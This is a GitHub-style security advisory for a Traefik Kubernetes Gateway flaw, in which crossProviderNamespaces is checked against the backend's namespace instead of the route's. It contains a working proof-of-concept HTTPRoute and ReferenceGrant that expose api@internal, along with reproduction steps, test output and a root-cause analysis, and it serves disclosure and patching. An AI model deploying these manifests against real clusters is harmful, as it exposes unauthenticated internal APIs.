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## Summary There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route's own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.21 - https://github.com/traefik/traefik/releases/tag/v3.7.5 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Summary The Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs. For `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference. Verified affected versions: - `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`) - current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`) # Expected Behavior With: ```yaml providers: kubernetesGateway: crossProviderNamespaces: - trusted ``` only Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`. An `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting: ```yaml backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted ``` # Actual Behavior For an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing: ```text [api@internal attacker-whoami-http-80] ``` even though `crossProviderNamespaces` only allows `trusted`. # Threat Model This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs. The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services. A Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`. # Required Attacker Capability Required: - create or modify an `HTTPRoute` in namespace `attacker`; - have that `HTTPRoute` accepted by a `Gateway`; - rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik's provider configuration. Not required: - modifying Traefik static configuration; - modifying the Traefik deployment or Traefik RBAC; - modifying resources in the Traefik deployment namespace; - modifying `providers.kubernetesGateway.crossProviderNamespaces`; - enabling `api.insecure`; - exposing the dashboard/API entrypoint directly. # Documentation Evidence The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`. The Kubernetes Gateway provider option is documented as: ```text List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService. ``` The migration notes also describe the security reason for the option: ```text those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose. ``` and the documented behavior is: ```text ["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references. ``` The provider struct uses the same route-namespace wording: ```go CrossProviderNamespaces []string `description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...` ``` The reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC. # PoC I validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik's normal `web` entrypoint. The complete local reproducer I used is a self-contained `kind` PoC with these files: ```text external-repro-kind/kind-config.yaml external-repro-kind/traefik-v371.yaml external-repro-kind/gateway-exploit.yaml external-repro-kind/run-kind-repro.sh ``` Run command: ```bash ./external-repro-kind/run-kind-repro.sh ``` The script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit. Traefik was started with: ```text --api=true --api.dashboard=true --api.insecure=false --providers.kubernetesgateway=true --providers.kubernetesgateway.crossprovidernamespaces=trusted ``` The local host entrypoint was: ```text 127.0.0.1:18080 -> kind NodePort -> Traefik web entrypoint ``` The target namespace has a normal Gateway API `ReferenceGrant`: ```yaml apiVersion: gateway.networking.k8s.io/v1beta1 kind: ReferenceGrant metadata: name: allow-attacker-to-traefikservice namespace: trusted spec: from: - group: gateway.networking.k8s.io kind: HTTPRoute namespace: attacker to: - group: traefik.io kind: TraefikService ``` Positive control: ```yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: single-backend-control namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - control.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1 ``` Bypass: ```yaml apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: mixed-backend-bypass namespace: attacker spec: parentRefs: - name: shared-gateway namespace: default hostnames: - exploit.localhost rules: - matches: - path: type: PathPrefix value: /api backendRefs: - group: traefik.io kind: TraefikService name: api@internal namespace: trusted port: 80 weight: 1000000 - group: "" kind: Service name: whoami port: 80 weight: 1 ``` Observed external result: ```text control: single-backend route from attacker namespace should not expose api@internal control status: 404 404 page not found exploit: mixed backendRef route from attacker namespace exposes api@internal exploit returned Traefik API JSON api@internal status: enabled weighted members: api@internal 1000000 attacker-whoami-http-80 1 ``` The `HTTPRoute` status shows the boundary difference: ```text single-backend-control: Accepted=True ResolvedRefs=False Reason=RefNotPermitted Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces mixed-backend-bypass: Accepted=True ResolvedRefs=True ``` This is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane. ## Minimized Root Cause Test I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction. Files: - `probe/crossprovider_namespace_probe_test.go` - `probe/cross_provider_namespace_probe.yml` - `probe/cross_provider_namespace_single_control.yml` Reproduction: ```bash cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/ cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/ go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v ``` Observed output on both tested versions: ```text Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80] ``` The reproducer also includes a positive control: ```text === RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl --- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl ``` That control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list. # Root Cause The single-internal-service path checks the route namespace: ```go case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef): if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) { ``` The mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`: ```go namespace := route.Namespace if backendRef.Namespace != nil && *backendRef.Namespace != "" { namespace = string(*backendRef.Namespace) } ... name, service, err := p.loadHTTPBackendRef(namespace, backendRef) ``` `loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace: ```go if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") { if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) { ``` This lets a disallowed route namespace choose an allow-listed target namespace and pass the check. # Impact An untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`. Potentially exposed internal services include: - `api@internal` - `dashboard@internal` - `rest@internal` This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`. I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint: ```text Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not Found ``` When a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated: ```text Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK service: api@internal ``` A WRR service containing `api@internal` also exposes the API: ```text Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK weighted services: api@internal 1000 echo-svc 1 ``` This is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls. # Suggested Fix For Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs. </details> ---